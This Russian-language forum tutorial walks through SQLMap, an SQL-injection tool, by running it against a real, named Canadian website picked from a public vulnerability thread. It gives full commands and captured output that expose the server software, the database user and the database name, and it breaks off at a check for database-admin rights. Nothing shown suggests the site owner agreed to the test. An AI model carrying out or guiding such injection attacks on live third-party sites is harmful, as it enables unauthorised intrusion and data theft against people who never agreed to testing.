Доброго времени суток! В данном упражнении мы рассмотрим работу с такой интересной утилитой, как SQLMap. SQLMap - данная утилита работает на большинстве платформ и написана на Python'e. Позволяет автоматизировать работу обнаружения и эксплуатации SQL Инъекций. Поддерживает такие базы данных, как: MySQL, MS SQL, PostgerSQL, Oracle. Что же может данная утилита? А может она многое, вот некоторые ее возможности: Определения "банера системы" (сервера, интерпретатора скриптов, базы данных); Отображении имени пользователя, под которым работает атакуемое хозяйство; Отображение баз данных, таблиц, колонок и полей; Позволяет определить, есть ли у пользователя права администратора БД; Позволяет выполнять произвольные SQL-запросы; При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли; Позволяет сделать дамп, как отдельных таблиц, так и полный =); Может взаимодействовать со всем нам известным Metasploit"ом; Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт; Может взаимодействовать с дядей Гуглом; Есть поддержка прокси; Данные могут отправляться как методом GET(по умолчанию), так и POST; Если на сервере включена "magic quotes", то будет применено кодирование с использованием функции CHAR(); Существует возможность создавать файлы конфигурации, для тех кому лень постоянно вводить команды; И еще куча прибомбасов... =) Вступление сделали - пришла пора потрогать утилитку. Для начала нам ее нужно скачать. Для этого пройдем по адресу http://sqlmap.sourceforge.net Пользователям Windows следует качать "Portable версию", которая содержит на своем борту интерпретатор Python, который обязателен, для запуска SQLMap. Собственно для более комфортной работы с утилитой - советую скопировать cmd.exe в папку, где находится SQLMap. Счастливые обладатели никсов, надеюсь разберутся с запуском и сами Итак, скачали, распаковали и что же дальше? А дальше нужно определиться с целью, на которой мы будет оттачивать свои навыки работы с SQLMap и для этого используем "паблик ресурсы"... Недолго думая - протопал я на Анти-Чат, в очень полезную тему(для тренировок разумеется) "Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > SQL Инъекции". Далее прошел на последнюю страницу и выбрал первую попавшуюся цель, "для пентестинга". Собственно ею стал, ничем не приметный, Канадский домен:http://blindcanadians.ca/press_relea...php?BriefID=50. С целью определились - приступим к пентестингу: Первое, что нам нужно сделать, это узнать, что крутится на сервере и что вообще это за сервер там такой. Сказано - сделано: Код: *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1 Windows: cmd.exe sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1 Цитата: Результат: sqlmap/0.8 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 04:53:42 [04:53:42] [INFO] using '/src/sqlmap/output/blindcanadians.ca/session' as session file [04:53:42] [INFO] resuming match ratio '0.9' from session file [04:53:42] [INFO] resuming injection point 'GET' from session file [04:53:42] [INFO] resuming injection parameter 'BriefID' from session file [04:53:42] [INFO] resuming injection type 'numeric' from session file [04:53:42] [INFO] resuming 0 number of parenthesis from session file [04:53:42] [INFO] resuming back-end DBMS 'mysql 5' from session file [04:53:42] [INFO] resuming back-end DBMS operating system 'None' from session file [04:53:42] [INFO] resuming back-end DBMS operating system 'None' from session file [04:53:42] [INFO] testing connection to the target url [04:53:43] [INFO] testing for parenthesis on injectable parameter [04:53:43] [INFO] the back-end DBMS is MySQL [04:53:43] [INFO] fetching banner [04:53:43] [INFO] read from file '/src/sqlmap/output/blindcanadians.ca/session': 5.0.90-community [04:53:43] [INFO] the back-end DBMS operating system is None web application technology: Apache 2.0.63, PHP 5.2.5 back-end DBMS operating system: None back-end DBMS: MySQL 5 [04:53:43] [INFO] fetching banner [04:53:43] [INFO] the back-end DBMS operating system is None banner: '5.0.90-community' [04:53:43] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 04:53:43 Из представленного листинга мы видим, что: Сервер: Apache 2.0.63 Интерпретатор: PHP 5.2.5 База данных: MySQL 5 (5.0.90-community) В приведенном выше обращении к SQLMap мы использовали три параметра. Собственно, Первый - это "-u", позволяет указать, над каким адресом, мы хотим произвести манипуляции, а Второй - это "-b", говорит о том, что мы хотим "банер". Третий параметр "-v", служит для определения уровня выводимой информации, их всего шесть "0-5". Продолжим и узнаем под каким пользователем работает база данных: Код: *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1 Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v Цитата: ... web application technology: Apache 2.0.63, PHP 5.2.5 back-end DBMS: MySQL 5 [05:19:44] [INFO] fetching current user [05:19:44] [INFO] retrieved: blindcan_blindca@localhost current user: 'blindcan_blindca@localhost' [05:25:14] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 05:25:14 Параметр "--current-user", просит SQLMap отобразить юзера. Далее, узнаем с какой БД сейчас работаем: Код: *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1 Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1 Цитата: ... web application technology: Apache 2.0.63, PHP 5.2.5 back-end DBMS: MySQL 5 [05:27:04] [INFO] fetching current database [05:27:04] [INFO] retrieved: blindcan_aebc current database: 'blindcan_aebc' [05:29:20] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 05:29:20 Параметр "--current-db", просит SQLMap отобразит БД. Теперь попросим нашу утилитку узанать, есть ли у нашего пользователя права администратора. Делается это следующим образом: Код: Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1 Цитата: ...